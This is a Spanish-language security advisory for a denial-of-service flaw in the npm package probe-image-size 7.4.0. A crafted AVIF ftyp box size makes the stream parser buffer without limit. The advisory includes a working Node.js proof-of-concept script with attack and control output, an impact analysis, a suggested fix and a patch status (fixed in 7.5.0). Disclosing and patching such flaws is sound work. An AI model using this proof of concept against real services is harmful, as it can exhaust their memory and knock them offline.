GHSA-7PQP-3Q23-MWR8
probe-image-size: el analizador de flujo AVIF almacena en búfer una caja ftyp declarada por el atacante sin límite
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-7PQP-3Q23-MWR8 divulgada · CVSS 3.7 (GitHub) | |
| Remediación | Parche 7.5.0 | probe-image-size · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
## Resumen
En las rutas de flujo y de URL, un archivo AVIF cuya primera caja `ftyp` declara un tamaño de 0xFFFFFFF0 hace que el analizador almacene en búfer cada byte que recibe mientras espera esa caja, y la sonda nunca se resuelve. En la prueba, al enviar 800 MB se obtuvieron 860 MB de memoria residente.
## Versiones afectadas
- probe-image-size 7.4.0 (última versión en npm, publicada el 2026-08-15). El HEAD de la rama por defecto, 64565c3c ("7.4.0 released"), es idéntico a la versión publicada y sigue siendo el último commit y la última versión al 2026-10-22.
## Detalles
`lib/parse_stream/avif.js`, manejo de `ftyp` cerca de la línea 151: la caja se lee con `parser._bytes(size)`, donde `size` es el tamaño de 32 bits de la caja tomado del archivo, sin ningún límite superior. El analizador de flujo acumula datos hasta que llegan esa cantidad de bytes. La lectura de la caja `meta` en la línea 84 usa el mismo patrón; solo ejecuté la variante con `ftyp`. `probe.sync` no se ve afectada, porque trabaja sobre un búfer que el llamador ya tiene.
Modelo de atacante: remoto y sin autenticación. El atacante controla el flujo de imagen, lo que es más realista si lo sirve desde una URL que el objetivo pasa a `probe(url)`.
## Prueba de concepto
`poc5.js` (`node poc5.js attack 800` o `node poc5.js control 1`):
// avif ftyp: declared box size 0xFFFFFFF0 -> parser._bytes(size) buffers until satisfied. arg: attack|control, MB
const { PassThrough } = require('stream'); const probe = require('probe-image-size')
const mode = process.argv[2], MB = +process.argv[3]
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n >>> 0); return b }
const head = Buffer.concat([u32(mode === 'attack' ? 0xFFFFFFF0 : 24), Buffer.from('ftypavif')])
const ps = new PassThrough(); let sent = 0, done = false
probe(ps).then(r => { done = true; console.log('RESOLVED', JSON.stringify(r)) }, e => { done = true; console.log('REJECTED', e.message) })
ps.write(head)
const t = setInterval(() => {
if (done || sent >= MB) { clearInterval(t); console.log(`${mode}: sent=${sent}MB rss=${(process.memoryUsage().rss / 1048576).toFixed(0)}MB resolved=${done}`); process.exit(0) }
ps.write(Buffer.alloc(1 << 20, 0x41)); sent++
}, 0)Entorno de prueba: Docker `node:22-slim` (Node 22.23.4), `npm i probe-image-size@7.4.0` (y 7.3.0 en `./old` cuando se indica), ejecutado con `docker run --rm --network none`.
Control: el mismo encabezado de 12 bytes con un tamaño normal de `ftyp` de 24 se maneja de inmediato (se rechaza como `unrecognized file format`, ya que no hay ninguna imagen después) y la memoria se mantiene estable:
REJECTED unrecognized file format
control: sent=1MB rss=57MB resolved=trueAtaque:
attack: sent=800MB rss=860MB resolved=false## Impacto
Bajo. La memoria crece uno a uno con los bytes que el atacante realmente envía, así que no hay amplificación. Sin embargo, la sonda nunca se resuelve ni se rechaza por sí misma, y la biblioteca solo lee un encabezado pequeño, por lo que los llamadores no esperan que retenga cientos de megabytes. En la ruta de URL, el tiempo de espera de lectura (needle) se basa en inactividad, así que un servidor que sigue enviando datos nunca es interrumpido. El atacante realista es un servidor HTTP malicioso detrás de una URL que se le pide al objetivo que analice (vistas previas de enlaces, campos de URL de avatar o imagen). Varias de estas conexiones pueden agotar la memoria del proceso.
## Corrección sugerida
Rechazar las cajas `ftyp` y `meta` cuyo tamaño declarado supere un máximo razonable antes de llamar a `parser._bytes(size)`. La caja `ftyp` mide unas pocas decenas de bytes en archivos reales, y un límite de unos pocos cientos de KiB para `meta` cubriría las imágenes reales.
Zachariah Mithani (zachariah@aplosai.com)
AploSec (aplosec.si)
Crédito: Zachariah Mithani (@zachariah-mithani, AploSec)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmprobe-image-size |
Corregida | 7.5.0 | 0 d | 7.5.0 no afectada |
7.5.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nodeca/probe-image-size/security/advisories/GHSA-7pqp-3q23-mwr8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
